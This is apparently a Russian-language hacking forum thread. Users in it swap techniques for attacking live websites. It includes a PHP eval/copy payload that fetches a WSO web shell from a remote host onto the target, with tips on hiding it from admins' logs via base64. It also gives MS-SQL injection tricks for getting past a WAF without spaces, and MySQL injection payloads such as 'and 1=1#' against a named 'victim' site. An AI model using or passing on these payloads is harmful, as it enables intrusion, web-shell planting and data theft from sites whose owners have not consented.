После eval пробела быть не должно. щито? eval - выполняет PHP код! Юзай например так: Эта функция скопирует текствовый файл с сервера, и сохранит его рядом с test.php под именем wso.php Обрати внимание, MQ должно быть off, иначе кавычки проэкранируются. Тогда нужно будет юзать base64.
не обязательно юзать base64 если хочется видеть читабельный вид для глаза, то можно сделать так: PHP: test.php?a=copy($_GET[a],$_GET[b])&a=http://site.com/you_wso.TXT&b=wso.php а чтобы обойти MQ можно в мини шеле заюзать stripslashes() но опять же если юзать base64 то просматривающего админом логи смогут завести его в заблуждение)
дядьки, подскажите как в MS-SQL делать запросы БЕЗ ПРОБЕЛОВ уж очень не хочется заморачиваться с устанавливкой и освоением MS-SQL я так понимаю, что в MS-SQL при нормальном (НЕ-инъекции) использовании запрос select(varXXXX)from(tblXXX) не будет работает ? у меня, например , SQL-инъекция с вышеупомянутым запросом "валится" с ошибкой 500 (отчёт об ошибках отключен, подробности не узнать...) НО , например, запрос select(@@version)) или (db_name()) успешно "вытягивает" инфу из базы Всё , что я научился сейчас "вытягивать" с базы , - это получение информации из встроенных функций Transact-SQL, описанных здесьhttp://msdn.microsoft.com/ru-ru/library/ms174318.aspx например (current_user) (user) (system_user) (original_login()) и т.д. но этого ,естесственно, мало что вообще максимум можно поиметь, если sql-инъекция в MS-SQL возможна, но ТОЛЬКО БЕЗ ПРОБЕЛОВ ??? P.S. пробелы скриптом ТОЧНО режутся запрос вида (select('qwe rty')) успешно вернул мне qwe%20rty просто браузер каждый пробел в GET-запросе преобразует в %20 , и SQL-запрос с этими %20 прямо в таком виде и ПЫТАЕТСЯ выполниться, естесственно, с ошибкой ( http 500 ) P.P.S. http://msdn.microsoft.com/ru-ru/library/ms178623(v=sql.100).aspx использование комментариев вида /**/ вместо пробела в моем случае исключено т.к. get-параметры передаются через косую черту, т.е. вот так http://hostname/path/param1/param2/param3/param4/param5/ и использование комментариев вида /**/ приводит к ошибке
В MSSQL в качестве пробелов проходят следующие конструкции +,01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20,% Юзать примерно так SELECT%01column%02FROM%03table; +or+1=1 ну и так далее.... Ещё есть такая вариация SELECT"table_name"FROM[information_schema].[tables]
если мой get-запрос содержит знак плюса, тогда ошибка такая Server Error 404 - File or directory not found. The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable. Причем неважно в каком месте get-запроса находится знак плюса - даже внутри кавычек селекта http://hostname/path/param1/(select('1+1'))/param3/param4/ вываливается вышеуказанная ошибка хотя если знак плюса заменить на другой - будет всё ОК http://hostname/path/param1/(select('1%1'))/param3/param4/ с процентами с любыми не хочет работать т.е. get-запрос http://hostname/path/param1/(select%20'qwerty'))/param3/param4/ приводит к http-ошибке 500 квадратные скобки [] в GET-запросе браузер автоматически переделывает в %5B и %5D и опять-же, запрос с процентами не "кушает" и выдаёт 500-ую ошибку скачал себе с официального сайта ms-sql 2012 ( как у жертвы ) целый час качалось теперь уже час устанавливается буду тестировать оригинальные запросы типа select%20'qwerty' что-то мне подсказывает, что такие запросы не будут выполняться.... установил-таки MS-SQL 2012 запрос select%20'qwerty' вызвал ошибку Сообщение 102, уровень 15, состояние 1, строка 1 Неправильный синтаксис около конструкции "20". и все другие запросы с % в MSSQL 2012 тоже не работают: select%01'qwerty' select%02'qwerty' select%03'qwerty' select%04'qwerty' ... select%20'qwerty' запрос select(table_name)from INFORMATION_SCHEMA.TABLES в MSSQL 2012 отлично работает но запросы select(table_name)from (INFORMATION_SCHEMA.TABLES) select(table_name)from(INFORMATION_SCHEMA.TABLES) в MSSQL 2012 вызывают ошибку Сообщение 102, уровень 15, состояние 1, строка 1 Неправильный синтаксис около конструкции ")".
Скорее всего WAF срабатывает. Используй вариации, что я указал постом выше. Там кстати я ещё обновил информацию.
у Вас (или у кого-нибудь ещё) есть возможность проверить - выполняется ли в оригинале на MS-SQL 2012 запрос вида (select(varXXX)from(tableXXX)) т.е. вместо пробелов - скобки ?
написал же квадратные скобки [] в GET-запросе браузер автоматически переделывает в %5B и %5D и опять-же, запрос с процентами не "кушает" и выдаёт 500-ую ошибку P.S. использовал браузеры IE , FireFox , Opera можно еще Safari и Chrome установить ради такого дела, но что-то мне подсказывает, что они тоже будут скобки [] в GET-запросе автоматически переделывать в %5B и %5D интересно, как не используя браузеры , т.е. програмно (Delphi) , отправить сайту get-запрос с квадратными скобками , а не %5B и %5D ? и отработает ли он ? P.P.S. вчера в специально для таких целей установленной Microsoft SQL Server Management Studio "выдрочил" тысячи запросов на моё удивление запрос (select(table_name)from.information_schema.tables) успешно отработал ( т.е. название таблицы information_schema.tables отделяем от from точкой ) но теперь никак не могу приделать к этой конструкции "where" , чтобы результат возвращал одну строку, а не столбец значений у кого есть мысли по этому поводу ? запрос (select top(1)(table_name)from.information_schema.tables) ( между select и top находится пробел ) в моей Microsoft SQL Server Management Studio успешно выполняется пока не придумал как убрать этот пробел между select и top у кого есть мысли по этому поводу ?
Подскажите плиз как можно раскрутить скулу вот есть сайт http://site.com/?cnt=articles&item=1 я подставляю кавычку ' ОШИБКИ нету а вот когда подставляю слеш \ то выскакивает вот такая ошибка Fatal error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/?cnt=articles&item=1\'' at line 1 : SELECT url FROM air_redirect WHERE url_src = '/?cnt=articles&item=1\' in /home/site/public_html/classes/TObj.php on line 106 Можно ли её раскрутить?
а на реальный url можно взглянуть? думаю тут вывод в error будет... P.S: да думаю тут и бональным способом вывести можно. если кавычка не слешируется то: SELECT url FROM air_redirect WHERE url_src = '/?cnt=articles&item=1' and 1=1#'
Hapk, прикольно. Скорее всего там либо режутся кавычки, либо экранируются. т.к. запрос бы был таким: и ошибка была бы. Попробуй следующее: 1 - потести на логику, как предложил winstrool 2 - error based 3 - если не получится - скинь линк в личку